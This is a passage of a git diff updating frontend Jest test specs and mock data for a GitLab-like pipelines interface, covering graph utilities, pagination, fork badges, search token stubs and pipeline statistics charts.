+ ${'gl-rounded-bottom-left-6'} | ${false}
+ ${'gl-rounded-top-left-6'} | ${false}
+ ${'gl-rounded-top-right-6'} | ${true}
+ ${'gl-rounded-bottom-right-6'} | ${true}
+ `('$cssClass should be $expectedState on the last element', ({ cssClass, expectedState }) => {
+ const classes = findStageBackgroundElementAt(pipelineData.stages.length - 1).classes();
expect(classes.includes(cssClass)).toBe(expectedState);
- },
- );
+ });
+ });
});
});
diff --git a/spec/frontend/pipelines/pipeline_graph/utils_spec.js b/spec/frontend/pipelines/pipeline_graph/utils_spec.js
index ade026c7053..12154df6fcf 100644
--- a/spec/frontend/pipelines/pipeline_graph/utils_spec.js
+++ b/spec/frontend/pipelines/pipeline_graph/utils_spec.js
@@ -1,19 +1,24 @@
-import {
- preparePipelineGraphData,
- createUniqueJobId,
- generateJobNeedsDict,
-} from '~/pipelines/utils';
+import { createJobsHash, generateJobNeedsDict } from '~/pipelines/utils';
describe('utils functions', () => {
- const emptyResponse = { stages: [], jobs: {} };
const jobName1 = 'build_1';
const jobName2 = 'build_2';
const jobName3 = 'test_1';
const jobName4 = 'deploy_1';
- const job1 = { script: 'echo hello', stage: 'build' };
- const job2 = { script: 'echo build', stage: 'build' };
- const job3 = { script: 'echo test', stage: 'test', needs: [jobName1, jobName2] };
- const job4 = { script: 'echo deploy', stage: 'deploy', needs: [jobName3] };
+ const job1 = { name: jobName1, script: 'echo hello', stage: 'build' };
+ const job2 = { name: jobName2, script: 'echo build', stage: 'build' };
+ const job3 = {
+ name: jobName3,
+ script: 'echo test',
+ stage: 'test',
+ needs: [jobName1, jobName2],
+ };
+ const job4 = {
+ name: jobName4,
+ script: 'echo deploy',
+ stage: 'deploy',
+ needs: [jobName3],
+ };
const userDefinedStage = 'myStage';
const pipelineGraphData = {
@@ -28,7 +33,6 @@ describe('utils functions', () => {
{
name: jobName4,
jobs: [{ ...job4 }],
- id: createUniqueJobId(job4.stage, jobName4),
},
],
},
@@ -38,12 +42,10 @@ describe('utils functions', () => {
{
name: jobName1,
jobs: [{ ...job1 }],
- id: createUniqueJobId(job1.stage, jobName1),
},
{
name: jobName2,
jobs: [{ ...job2 }],
- id: createUniqueJobId(job2.stage, jobName2),
},
],
},
@@ -53,158 +55,59 @@ describe('utils functions', () => {
{
name: jobName3,
jobs: [{ ...job3 }],
- id: createUniqueJobId(job3.stage, jobName3),
},
],
},
],
- jobs: {
- [jobName1]: { ...job1, id: createUniqueJobId(job1.stage, jobName1) },
- [jobName2]: { ...job2, id: createUniqueJobId(job2.stage, jobName2) },
- [jobName3]: { ...job3, id: createUniqueJobId(job3.stage, jobName3) },
- [jobName4]: { ...job4, id: createUniqueJobId(job4.stage, jobName4) },
- },
};
- describe('preparePipelineGraphData', () => {
- describe('returns an empty array of stages and empty job objects if', () => {
- it('no data is passed', () => {
- expect(preparePipelineGraphData({})).toEqual(emptyResponse);
- });
-
- it('no stages are found', () => {
- expect(preparePipelineGraphData({ includes: 'template/myTemplate.gitlab-ci.yml' })).toEqual(
- emptyResponse,
- );
- });
+ describe('createJobsHash', () => {
+ it('returns an empty object if there are no jobs received as argument', () => {
+ expect(createJobsHash([])).toEqual({});
});
- describe('returns the correct array of stages and object of jobs', () => {
- it('when multiple jobs are in the same stage', () => {
- const expectedData = {
- stages: [
- {
- name: job1.stage,
- groups: [
- {
- name: jobName1,
- jobs: [{ ...job1 }],
- id: createUniqueJobId(job1.stage, jobName1),
- },
- {
- name: jobName2,
- jobs: [{ ...job2 }],
- id: createUniqueJobId(job2.stage, jobName2),
- },
- ],
- },
- ],
- jobs: {
- [jobName1]: { ...job1, id: createUniqueJobId(job1.stage, jobName1) },
- [jobName2]: { ...job2, id: createUniqueJobId(job2.stage, jobName2) },
- },
- };
- expect(
- preparePipelineGraphData({ [jobName1]: { ...job1 }, [jobName2]: { ...job2 } }),
- ).toEqual(expectedData);
- });
-
- it('when stages are defined by the user', () => {
- const userDefinedStage2 = 'myStage2';
-
- const expectedData = {
- stages: [
- {
- name: userDefinedStage,
- groups: [],
- },
- {
- name: userDefinedStage2,
- groups: [],
- },
- ],
- jobs: {},
- };
-
- expect(preparePipelineGraphData({ stages: [userDefinedStage, userDefinedStage2] })).toEqual(
- expectedData,
- );
- });
-
- it('by combining user defined stage and job stages, it preserves user defined order', () => {
- const userDefinedStageThatOverlaps = 'deploy';
-
- expect(
- preparePipelineGraphData({
- stages: [userDefinedStage, userDefinedStageThatOverlaps],
- [jobName1]: { ...job1 },
- [jobName2]: { ...job2 },
- [jobName3]: { ...job3 },
- [jobName4]: { ...job4 },
- }),
- ).toEqual(pipelineGraphData);
- });
-
- it('with only unique values', () => {
- const expectedData = {
- stages: [
- {
- name: job1.stage,
- groups: [
- {
- name: jobName1,
- jobs: [{ ...job1 }],
- id: createUniqueJobId(job1.stage, jobName1),
- },
- ],
- },
- ],
- jobs: {
- [jobName1]: { ...job1, id: createUniqueJobId(job1.stage, jobName1) },
- },
- };
+ it('returns a hash with the jobname as key and all its data as value', () => {
+ const jobs = {
+ [jobName1]: job1,
+ [jobName2]: job2,
+ [jobName3]: job3,
+ [jobName4]: job4,
+ };
- expect(
- preparePipelineGraphData({
- stages: ['build'],
- [jobName1]: { ...job1 },
- [jobName1]: { ...job1 },
- }),
- ).toEqual(expectedData);
- });
+ expect(createJobsHash(pipelineGraphData.stages)).toEqual(jobs);
});
});
describe('generateJobNeedsDict', () => {
it('generates an empty object if it receives no jobs', () => {
- expect(generateJobNeedsDict({ jobs: {} })).toEqual({});
+ expect(generateJobNeedsDict({})).toEqual({});
});
it('generates a dict with empty needs if there are no dependencies', () => {
const smallGraph = {
- jobs: {
- [jobName1]: { ...job1, id: createUniqueJobId(job1.stage, jobName1) },
- [jobName2]: { ...job2, id: createUniqueJobId(job2.stage, jobName2) },
- },
+ [jobName1]: job1,
+ [jobName2]: job2,
};
expect(generateJobNeedsDict(smallGraph)).toEqual({
- [pipelineGraphData.jobs[jobName1].id]: [],
- [pipelineGraphData.jobs[jobName2].id]: [],
+ [jobName1]: [],
+ [jobName2]: [],
});
});
it('generates a dict where key is the a job and its value is an array of all its needs', () => {
- const uniqueJobName1 = pipelineGraphData.jobs[jobName1].id;
- const uniqueJobName2 = pipelineGraphData.jobs[jobName2].id;
- const uniqueJobName3 = pipelineGraphData.jobs[jobName3].id;
- const uniqueJobName4 = pipelineGraphData.jobs[jobName4].id;
+ const jobsWithNeeds = {
+ [jobName1]: job1,
+ [jobName2]: job2,
+ [jobName3]: job3,
+ [jobName4]: job4,
+ };
- expect(generateJobNeedsDict(pipelineGraphData)).toEqual({
- [uniqueJobName1]: [],
- [uniqueJobName2]: [],
- [uniqueJobName3]: [uniqueJobName1, uniqueJobName2],
- [uniqueJobName4]: [uniqueJobName3, uniqueJobName1, uniqueJobName2],
+ expect(generateJobNeedsDict(jobsWithNeeds)).toEqual({
+ [jobName1]: [],
+ [jobName2]: [],
+ [jobName3]: [jobName1, jobName2],
+ [jobName4]: [jobName3, jobName1, jobName2],
});
});
});
diff --git a/spec/frontend/pipelines/pipeline_url_spec.js b/spec/frontend/pipelines/pipeline_url_spec.js
index 0bcc3f96f7c..fc45af2c254 100644
--- a/spec/frontend/pipelines/pipeline_url_spec.js
+++ b/spec/frontend/pipelines/pipeline_url_spec.js
@@ -16,6 +16,7 @@ describe('Pipeline Url Component', () => {
const findAutoDevopsTag = () => wrapper.find('[data-testid="pipeline-url-autodevops"]');
const findStuckTag = () => wrapper.find('[data-testid="pipeline-url-stuck"]');
const findDetachedTag = () => wrapper.find('[data-testid="pipeline-url-detached"]');
+ const findForkTag = () => wrapper.find('[data-testid="pipeline-url-fork"]');
const defaultProps = {
pipeline: {
@@ -30,6 +31,9 @@ describe('Pipeline Url Component', () => {
const createComponent = props => {
wrapper = shallowMount(PipelineUrlComponent, {
propsData: { ...defaultProps, ...props },
+ provide: {
+ targetProjectFullPath: 'test/test',
+ },
});
};
@@ -137,4 +141,15 @@ describe('Pipeline Url Component', () => {
expect(findScheduledTag().exists()).toBe(true);
expect(findScheduledTag().text()).toContain('Scheduled');
});
+ it('should render the fork badge when the pipeline was run in a fork', () => {
+ createComponent({
+ pipeline: {
+ flags: {},
+ project: { fullPath: 'test/forked' },
+ },
+ });
+
+ expect(findForkTag().exists()).toBe(true);
+ expect(findForkTag().text()).toBe('fork');
+ });
});
diff --git a/spec/frontend/pipelines/pipelines_spec.js b/spec/frontend/pipelines/pipelines_spec.js
index a272803f9b6..ce0e76ba22d 100644
--- a/spec/frontend/pipelines/pipelines_spec.js
+++ b/spec/frontend/pipelines/pipelines_spec.js
@@ -31,7 +31,7 @@ describe('Pipelines', () => {
const paths = {
endpoint: 'twitter/flight/pipelines.json',
- autoDevopsPath: '/help/topics/autodevops/index.md',
+ autoDevopsHelpPath: '/help/topics/autodevops/index.md',
helpPagePath: '/help/ci/quick_start/README',
emptyStateSvgPath: '/assets/illustrations/pipelines_empty.svg',
errorStateSvgPath: '/assets/illustrations/pipelines_failed.svg',
@@ -43,7 +43,7 @@ describe('Pipelines', () => {
const noPermissions = {
endpoint: 'twitter/flight/pipelines.json',
- autoDevopsPath: '/help/topics/autodevops/index.md',
+ autoDevopsHelpPath: '/help/topics/autodevops/index.md',
helpPagePath: '/help/ci/quick_start/README',
emptyStateSvgPath: '/assets/illustrations/pipelines_empty.svg',
errorStateSvgPath: '/assets/illustrations/pipelines_failed.svg',
diff --git a/spec/frontend/pipelines/test_reports/stores/getters_spec.js b/spec/frontend/pipelines/test_reports/stores/getters_spec.js
index 58e8065033f..8cef499fdb9 100644
--- a/spec/frontend/pipelines/test_reports/stores/getters_spec.js
+++ b/spec/frontend/pipelines/test_reports/stores/getters_spec.js
@@ -10,11 +10,19 @@ describe('Getters TestReports Store', () => {
const defaultState = {
testReports,
selectedSuiteIndex: 0,
+ pageInfo: {
+ page: 1,
+ perPage: 2,
+ },
};
const emptyState = {
testReports: {},
selectedSuite: null,
+ pageInfo: {
+ page: 1,
+ perPage: 2,
+ },
};
beforeEach(() => {
@@ -59,15 +67,17 @@ describe('Getters TestReports Store', () => {
});
describe('getSuiteTests', () => {
- it('should return the test cases inside the suite', () => {
+ it('should return the current page of test cases inside the suite', () => {
setupState();
const cases = getters.getSuiteTests(state);
- const expected = testReports.test_suites[0].test_cases.map(x => ({
- ...x,
- formattedTime: formattedTime(x.execution_time),
- icon: iconForTestStatus(x.status),
- }));
+ const expected = testReports.test_suites[0].test_cases
+ .map(x => ({
+ ...x,
+ formattedTime: formattedTime(x.execution_time),
+ icon: iconForTestStatus(x.status),
+ }))
+ .slice(0, state.pageInfo.perPage);
expect(cases).toEqual(expected);
});
@@ -78,4 +88,15 @@ describe('Getters TestReports Store', () => {
expect(getters.getSuiteTests(state)).toEqual([]);
});
});
+
+ describe('getSuiteTestCount', () => {
+ it('should return the total number of test cases', () => {
+ setupState();
+
+ const testCount = getters.getSuiteTestCount(state);
+ const expected = testReports.test_suites[0].test_cases.length;
+
+ expect(testCount).toEqual(expected);
+ });
+ });
});
diff --git a/spec/frontend/pipelines/test_reports/stores/mutations_spec.js b/spec/frontend/pipelines/test_reports/stores/mutations_spec.js
index b935029bc6a..191e9e7391c 100644
--- a/spec/frontend/pipelines/test_reports/stores/mutations_spec.js
+++ b/spec/frontend/pipelines/test_reports/stores/mutations_spec.js
@@ -12,12 +12,25 @@ describe('Mutations TestReports Store', () => {
testReports: {},
selectedSuite: null,
isLoading: false,
+ pageInfo: {
+ page: 1,
+ perPage: 2,
+ },
};
beforeEach(() => {
mockState = { ...defaultState };
});
+ describe('set page', () => {
+ it('should set the current page to display', () => {
+ const pageToDisplay = 3;
+ mutations[types.SET_PAGE](mockState, pageToDisplay);
+
+ expect(mockState.pageInfo.page).toEqual(pageToDisplay);
+ });
+ });
+
describe('set suite', () => {
it('should set the suite at the given index', () => {
mockState.testReports = testReports;
diff --git a/spec/frontend/pipelines/test_reports/test_suite_table_spec.js b/spec/frontend/pipelines/test_reports/test_suite_table_spec.js
index 284099b000b..0e00ca670a7 100644
--- a/spec/frontend/pipelines/test_reports/test_suite_table_spec.js
+++ b/spec/frontend/pipelines/test_reports/test_suite_table_spec.js
@@ -1,7 +1,7 @@
import Vuex from 'vuex';
import { shallowMount, createLocalVue } from '@vue/test-utils';
import { getJSONFixture } from 'helpers/fixtures';
-import { GlButton, GlFriendlyWrap } from '@gitlab/ui';
+import { GlButton, GlFriendlyWrap, GlPagination } from '@gitlab/ui';
import SuiteTable from '~/pipelines/components/test_reports/test_suite_table.vue';
import * as getters from '~/pipelines/stores/test_reports/getters';
import { TestStatus } from '~/pipelines/constants';
@@ -26,13 +26,17 @@ describe('Test reports suite table', () => {
const findCaseRowAtIndex = index => wrapper.findAll('.js-case-row').at(index);
const findIconForRow = (row, status) => row.find(`.ci-status-icon-${status}`);
- const createComponent = (suite = testSuite) => {
+ const createComponent = (suite = testSuite, perPage = 20) => {
store = new Vuex.Store({
state: {
testReports: {
test_suites: [suite],
},
selectedSuiteIndex: 0,
+ pageInfo: {
+ page: 1,
+ perPage,
+ },
},
getters,
});
@@ -86,4 +90,20 @@ describe('Test reports suite table', () => {
expect(button.attributes('data-clipboard-text')).toBe(file);
});
});
+
+ describe('when a test suite has more test cases than the pagination size', () => {
+ const perPage = 2;
+
+ beforeEach(() => {
+ createComponent(testSuite, perPage);
+ });
+
+ it('renders one page of test cases', () => {
+ expect(allCaseRows().length).toBe(perPage);
+ });
+
+ it('renders a pagination component', () => {
+ expect(wrapper.find(GlPagination).exists()).toBe(true);
+ });
+ });
});
diff --git a/spec/frontend/pipelines/tokens/pipeline_status_token_spec.js b/spec/frontend/pipelines/tokens/pipeline_status_token_spec.js
index b53955ab743..1db736ba01e 100644
--- a/spec/frontend/pipelines/tokens/pipeline_status_token_spec.js
+++ b/spec/frontend/pipelines/tokens/pipeline_status_token_spec.js
@@ -1,18 +1,12 @@
import { GlFilteredSearchToken, GlFilteredSearchSuggestion, GlIcon } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
+import { stubComponent } from 'helpers/stub_component';
import PipelineStatusToken from '~/pipelines/components/pipelines_list/tokens/pipeline_status_token.vue';
describe('Pipeline Status Token', () => {
let wrapper;
- const stubs = {
- GlFilteredSearchToken: {
- props: GlFilteredSearchToken.props,
- template: `<div><slot name="suggestions"></slot></div>`,
- },
- };
-
- const findFilteredSearchToken = () => wrapper.find(stubs.GlFilteredSearchToken);
+ const findFilteredSearchToken = () => wrapper.find(GlFilteredSearchToken);
const findAllFilteredSearchSuggestions = () => wrapper.findAll(GlFilteredSearchSuggestion);
const findAllGlIcons = () => wrapper.findAll(GlIcon);
@@ -33,7 +27,11 @@ describe('Pipeline Status Token', () => {
propsData: {
...defaultProps,
},
- stubs,
+ stubs: {
+ GlFilteredSearchToken: stubComponent(GlFilteredSearchToken, {
+ template: `<div><slot name="suggestions"></slot></div>`,
+ }),
+ },
});
};
diff --git a/spec/frontend/pipelines/tokens/pipeline_trigger_author_token_spec.js b/spec/frontend/pipelines/tokens/pipeline_trigger_author_token_spec.js
index 9363944a719..375325c0c6a 100644
--- a/spec/frontend/pipelines/tokens/pipeline_trigger_author_token_spec.js
+++ b/spec/frontend/pipelines/tokens/pipeline_trigger_author_token_spec.js
@@ -1,4 +1,5 @@
import { GlFilteredSearchToken, GlFilteredSearchSuggestion, GlLoadingIcon } from '@gitlab/ui';
+import { stubComponent } from 'helpers/stub_component';
import { shallowMount } from '@vue/test-utils';
import Api from '~/api';
import PipelineTriggerAuthorToken from '~/pipelines/components/pipelines_list/tokens/pipeline_trigger_author_token.vue';
@@ -7,14 +8,7 @@ import { users } from '../mock_data';
describe('Pipeline Trigger Author Token', () => {
let wrapper;
- const stubs = {
- GlFilteredSearchToken: {
- props: GlFilteredSearchToken.props,
- template: `<div><slot name="suggestions"></slot></div>`,
- },
- };
-
- const findFilteredSearchToken = () => wrapper.find(stubs.GlFilteredSearchToken);
+ const findFilteredSearchToken = () => wrapper.find(GlFilteredSearchToken);
const findAllFilteredSearchSuggestions = () => wrapper.findAll(GlFilteredSearchSuggestion);
const findLoadingIcon = () => wrapper.find(GlLoadingIcon);
@@ -42,7 +36,11 @@ describe('Pipeline Trigger Author Token', () => {
...data,
};
},
- stubs,
+ stubs: {
+ GlFilteredSearchToken: stubComponent(GlFilteredSearchToken, {
+ template: `<div><slot name="suggestions"></slot></div>`,
+ }),
+ },
});
};
diff --git a/spec/frontend/pipelines/unwrapping_utils_spec.js b/spec/frontend/pipelines/unwrapping_utils_spec.js
new file mode 100644
index 00000000000..3533599611f
--- /dev/null
+++ b/spec/frontend/pipelines/unwrapping_utils_spec.js
@@ -0,0 +1,151 @@
+import {
+ unwrapArrayOfJobs,
+ unwrapGroups,
+ unwrapNodesWithName,
+ unwrapStagesWithNeeds,
+} from '~/pipelines/components/unwrapping_utils';
+
+const groupsArray = [
+ {
+ name: 'build_a',
+ size: 1,
+ status: {
+ label: 'passed',
+ group: 'success',
+ icon: 'status_success',
+ },
+ },
+ {
+ name: 'bob_the_build',
+ size: 1,
+ status: {
+ label: 'passed',
+ group: 'success',
+ icon: 'status_success',
+ },
+ },
+];
+
+const basicStageInfo = {
+ name: 'center_stage',
+ status: {
+ action: null,
+ },
+};
+
+const stagesAndGroups = [
+ {
+ ...basicStageInfo,
+ groups: {
+ nodes: groupsArray,
+ },
+ },
+];
+
+const needArray = [
+ {
+ name: 'build_b',
+ },
+];
+
+const elephantArray = [
+ {
+ name: 'build_b',
+ elephant: 'gray',
+ },
+];
+
+const baseJobs = {
+ name: 'test_d',
+ status: {
+ icon: 'status_success',
+ tooltip: null,
+ hasDetails: true,
+ detailsPath: '/root/abcd-dag/-/pipelines/162',
+ group: 'success',
+ action: null,
+ },
+};
+
+const jobArrayWithNeeds = [
+ {
+ ...baseJobs,
+ needs: {
+ nodes: needArray,
+ },
+ },
+];
+
+const jobArrayWithElephant = [
+ {
+ ...baseJobs,
+ needs: {
+ nodes: elephantArray,
+ },
+ },
+];
+
+const completeMock = [
+ {
+ ...basicStageInfo,
+ groups: {
+ nodes: groupsArray.map(group => ({ ...group, jobs: { nodes: jobArrayWithNeeds } })),
+ },
+ },
+];
+
+describe('Shared pipeline unwrapping utils', () => {
+ describe('unwrapArrayOfJobs', () => {
+ it('returns an empty array if the input is an empty undefined', () => {
+ expect(unwrapArrayOfJobs(undefined)).toEqual([]);
+ });
+
+ it('returns an empty array if the input is an empty array', () => {
+ expect(unwrapArrayOfJobs([])).toEqual([]);
+ });
+
+ it('returns a flatten array of each job with their data and stage name', () => {
+ expect(
+ unwrapArrayOfJobs([
+ { name: 'build', groups: [{ name: 'job_a_1' }, { name: 'job_a_2' }] },
+ { name: 'test', groups: [{ name: 'job_b' }] },
+ ]),
+ ).toMatchObject([
+ { category: 'build', name: 'job_a_1' },
+ { category: 'build', name: 'job_a_2' },
+ { category: 'test', name: 'job_b' },
+ ]);
+ });
+ });
+
+ describe('unwrapGroups', () => {
+ it('takes stages without nodes and returns the unwrapped groups', () => {
+ expect(unwrapGroups(stagesAndGroups)[0].groups).toEqual(groupsArray);
+ });
+
+ it('keeps other stage properties intact', () => {
+ expect(unwrapGroups(stagesAndGroups)[0]).toMatchObject(basicStageInfo);
+ });
+ });
+
+ describe('unwrapNodesWithName', () => {
+ it('works with no field argument', () => {
+ expect(unwrapNodesWithName(jobArrayWithNeeds, 'needs')[0].needs).toEqual([needArray[0].name]);
+ });
+
+ it('works with custom field argument', () => {
+ expect(unwrapNodesWithName(jobArrayWithElephant, 'needs', 'elephant')[0].needs).toEqual([
+ elephantArray[0].elephant,
+ ]);
+ });
+ });
+
+ describe('unwrapStagesWithNeeds', () => {
+ it('removes nodes from groups, jobs, and needs', () => {
+ const firstProcessedGroup = unwrapStagesWithNeeds(completeMock)[0].groups[0];
+ expect(firstProcessedGroup).toMatchObject(groupsArray[0]);
+ expect(firstProcessedGroup.jobs[0]).toMatchObject(baseJobs);
+ expect(firstProcessedGroup.jobs[0].needs[0]).toBe(needArray[0].name);
+ });
+ });
+});
diff --git a/spec/frontend/projects/pipelines/charts/components/__snapshots__/statistics_list_spec.js.snap b/spec/frontend/projects/pipelines/charts/components/__snapshots__/statistics_list_spec.js.snap
index ac87fe893b9..c7e760486c0 100644
--- a/spec/frontend/projects/pipelines/charts/components/__snapshots__/statistics_list_spec.js.snap
+++ b/spec/frontend/projects/pipelines/charts/components/__snapshots__/statistics_list_spec.js.snap
@@ -1,6 +1,6 @@
// Jest Snapshot v1, https://goo.gl/fbAQLP
-exports[`StatisticsList matches the snapshot 1`] = `
+exports[`StatisticsList displays the counts data with labels 1`] = `
<ul>
<li>
<span>
@@ -35,7 +35,7 @@ exports[`StatisticsList matches the snapshot 1`] = `
</span>
<strong>
- 50%
+ 50.00%
</strong>
</li>
<li>
diff --git a/spec/frontend/projects/pipelines/charts/components/app_legacy_spec.js b/spec/frontend/projects/pipelines/charts/components/app_legacy_spec.js
new file mode 100644
index 00000000000..c03b571eb26
--- /dev/null
+++ b/spec/frontend/projects/pipelines/charts/components/app_legacy_spec.js
@@ -0,0 +1,72 @@
+import { shallowMount } from '@vue/test-utils';
+import { GlColumnChart } from '@gitlab/ui/dist/charts';
+import Component from '~/projects/pipelines/charts/components/app_legacy.vue';
+import StatisticsList from '~/projects/pipelines/charts/components/statistics_list.vue';
+import PipelinesAreaChart from '~/projects/pipelines/charts/components/pipelines_area_chart.vue';
+import {
+ counts,
+ timesChartData,
+ areaChartData as lastWeekChartData,
+ areaChartData as lastMonthChartData,
+ lastYearChartData,
+} from '../mock_data';
+
+describe('ProjectsPipelinesChartsApp', () => {
+ let wrapper;
+
+ beforeEach(() => {
+ wrapper = shallowMount(Component, {
+ propsData: {
+ counts,
+ timesChartData,
+ lastWeekChartData,
+ lastMonthChartData,
+ lastYearChartData,
+ },
+ });
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ describe('overall statistics', () => {
+ it('displays the statistics list', () => {
+ const list = wrapper.find(StatisticsList);
+
+ expect(list.exists()).toBeTruthy();
+ expect(list.props('counts')).toBe(counts);
+ });
+
+ it('displays the commit duration chart', () => {
+ const chart = wrapper.find(GlColumnChart);
+
+ expect(chart.exists()).toBeTruthy();
+ expect(chart.props('yAxisTitle')).toBe('Minutes');
+ expect(chart.props('xAxisTitle')).toBe('Commit');
+ expect(chart.props('bars')).toBe(wrapper.vm.timesChartTransformedData);
+ expect(chart.props('option')).toBe(wrapper.vm.$options.timesChartOptions);
+ });
+ });
+
+ describe('pipelines charts', () => {
+ it('displays 3 area charts', () => {
+ expect(wrapper.findAll(PipelinesAreaChart).length).toBe(3);
+ });
+
+ describe('displays individual correctly', () => {
+ it('renders with the correct data', () => {
+ const charts = wrapper.findAll(PipelinesAreaChart);
+
+ for (let i = 0; i < charts.length; i += 1) {
+ const chart = charts.at(i);
+
+ expect(chart.exists()).toBeTruthy();
+ expect(chart.props('chartData')).toBe(wrapper.vm.areaCharts[i].data);
+ expect(chart.text()).toBe(wrapper.vm.areaCharts[i].title);
+ }
+ });
+ });
+ });
+});
diff --git a/spec/frontend/projects/pipelines/charts/components/app_spec.js b/spec/frontend/projects/pipelines/charts/components/app_spec.js
index 0dd3407dbbc..f8737dda5f6 100644
--- a/spec/frontend/projects/pipelines/charts/components/app_spec.js
+++ b/spec/frontend/projects/pipelines/charts/components/app_spec.js
@@ -1,29 +1,45 @@
-import { shallowMount } from '@vue/test-utils';
+import { createLocalVue, shallowMount } from '@vue/test-utils';
+import VueApollo from 'vue-apollo';
+import createMockApollo from 'jest/helpers/mock_apollo_helper';
import { GlColumnChart } from '@gitlab/ui/dist/charts';
import Component from '~/projects/pipelines/charts/components/app.vue';
import StatisticsList from '~/projects/pipelines/charts/components/statistics_list.vue';
import PipelinesAreaChart from '~/projects/pipelines/charts/components/pipelines_area_chart.vue';
-import {
- counts,
- timesChartData,
- areaChartData as lastWeekChartData,
- areaChartData as lastMonthChartData,
- lastYearChartData,
-} from '../mock_data';
+import getPipelineCountByStatus from '~/projects/pipelines/charts/graphql/queries/get_pipeline_count_by_status.query.graphql';
+import getProjectPipelineStatistics from '~/projects/pipelines/charts/graphql/queries/get_project_pipeline_statistics.query.graphql';
+import { mockPipelineCount, mockPipelineStatistics } from '../mock_data';
+
+const projectPath = 'gitlab-org/gitlab';
+const localVue = createLocalVue();
+localVue.use(VueApollo);
describe('ProjectsPipelinesChartsApp', () => {
let wrapper;
- beforeEach(() => {
- wrapper = shallowMount(Component, {
- propsData: {
- counts,
- timesChartData,
- lastWeekChartData,
- lastMonthChartData,
- lastYearChartData,
+ function createMockApolloProvider() {
+ const requestHandlers = [
+ [getPipelineCountByStatus, jest.fn().mockResolvedValue(mockPipelineCount)],
+ [getProjectPipelineStatistics, jest.fn().mockResolvedValue(mockPipelineStatistics)],
+ ];
+
+ return createMockApollo(requestHandlers);
+ }
+
+ function createComponent(options = {}) {
+ const { fakeApollo } = options;
+
+ return shallowMount(Component, {
+ provide: {
+ projectPath,
},
+ localVue,
+ apolloProvider: fakeApollo,
});
+ }
+
+ beforeEach(() => {
+ const fakeApollo = createMockApolloProvider();
+ wrapper = createComponent({ fakeApollo });
});
afterEach(() => {
@@ -35,14 +51,20 @@ describe('ProjectsPipelinesChartsApp', () => {
it('displays the statistics list', () => {
const list = wrapper.find(StatisticsList);
- expect(list.exists()).toBeTruthy();
- expect(list.props('counts')).toBe(counts);
+ expect(list.exists()).toBe(true);
+ expect(list.props('counts')).toMatchObject({
+ failed: 1,
+ success: 23,
+ total: 34,
+ successRatio: 95.83333333333334,
+ totalDuration: 2471,
+ });
});
it('displays the commit duration chart', () => {
const chart = wrapper.find(GlColumnChart);
- expect(chart.exists()).toBeTruthy();
+ expect(chart.exists()).toBe(true);
expect(chart.props('yAxisTitle')).toBe('Minutes');
expect(chart.props('xAxisTitle')).toBe('Commit');
expect(chart.props('bars')).toBe(wrapper.vm.timesChartTransformedData);
@@ -52,7 +74,7 @@ describe('ProjectsPipelinesChartsApp', () => {
describe('pipelines charts', () => {
it('displays 3 area charts', () => {
- expect(wrapper.findAll(PipelinesAreaChart).length).toBe(3);
+ expect(wrapper.findAll(PipelinesAreaChart)).toHaveLength(3);
});
describe('displays individual correctly', () => {
@@ -62,7 +84,9 @@ describe('ProjectsPipelinesChartsApp', () => {
for (let i = 0; i < charts.length; i += 1) {
const chart = charts.at(i);
- expect(chart.exists()).toBeTruthy();
+ expect(chart.exists()).toBe(true);
+ // TODO: Refactor this to use the mocked data instead of the vm data
+ // https://gitlab.com/gitlab-org/gitlab/-/issues/292085
expect(chart.props('chartData')).toBe(wrapper.vm.areaCharts[i].data);
expect(chart.text()).toBe(wrapper.vm.areaCharts[i].title);
}
diff --git a/spec/frontend/projects/pipelines/charts/components/statistics_list_spec.js b/spec/frontend/projects/pipelines/charts/components/statistics_list_spec.js
index f78608e9cb2..4e79f62ce81 100644
--- a/spec/frontend/projects/pipelines/charts/components/statistics_list_spec.js
+++ b/spec/frontend/projects/pipelines/charts/components/statistics_list_spec.js
@@ -18,7 +18,7 @@ describe('StatisticsList', () => {
wrapper = null;
});
- it('matches the snapshot', () => {
+ it('displays the counts data with labels', () => {
expect(wrapper.element).toMatchSnapshot();
});
});
diff --git a/spec/frontend/projects/pipelines/charts/mock_data.js b/spec/frontend/projects/pipelines/charts/mock_data.js
index 84e0ccb828a..da055536fcc 100644
--- a/spec/frontend/projects/pipelines/charts/mock_data.js
+++ b/spec/frontend/projects/pipelines/charts/mock_data.js
@@ -32,3 +32,218 @@ export const transformedAreaChartData = [
data: [['01 Jan', 3], ['02 Jan', 3], ['03 Jan', 3], ['04 Jan', 3], ['05 Jan', 5]],
},
];
+
+export const mockPipelineCount = {
+ data: {
+ project: {
+ totalPipelines: { count: 34, __typename: 'PipelineConnection' },
+ successfulPipelines: { count: 23, __typename: 'PipelineConnection' },
+ failedPipelines: { count: 1, __typename: 'PipelineConnection' },
+ totalPipelineDuration: 2471,
+ __typename: 'Project',
+ },
+ },
+};
+
+export const mockPipelineStatistics = {
+ data: {
+ project: {
+ pipelineAnalytics: {
+ weekPipelinesTotals: [0, 0, 0, 0, 0, 0, 0, 0],
+ weekPipelinesLabels: [
+ '24 November',
+ '25 November',
+ '26 November',
+ '27 November',
+ '28 November',
+ '29 November',
+ '30 November',
+ '01 December',
+ ],
+ weekPipelinesSuccessful: [0, 0, 0, 0, 0, 0, 0, 0],
+ monthPipelinesLabels: [
+ '01 November',
+ '02 November',
+ '03 November',
+ '04 November',
+ '05 November',
+ '06 November',
+ '07 November',
+ '08 November',
+ '09 November',
+ '10 November',
+ '11 November',
+ '12 November',
+ '13 November',
+ '14 November',
+ '15 November',
+ '16 November',
+ '17 November',
+ '18 November',
+ '19 November',
+ '20 November',
+ '21 November',
+ '22 November',
+ '23 November',
+ '24 November',
+ '25 November',
+ '26 November',
+ '27 November',
+ '28 November',
+ '29 November',
+ '30 November',
+ '01 December',
+ ],
+ monthPipelinesTotals: [
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ ],
+ monthPipelinesSuccessful: [
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
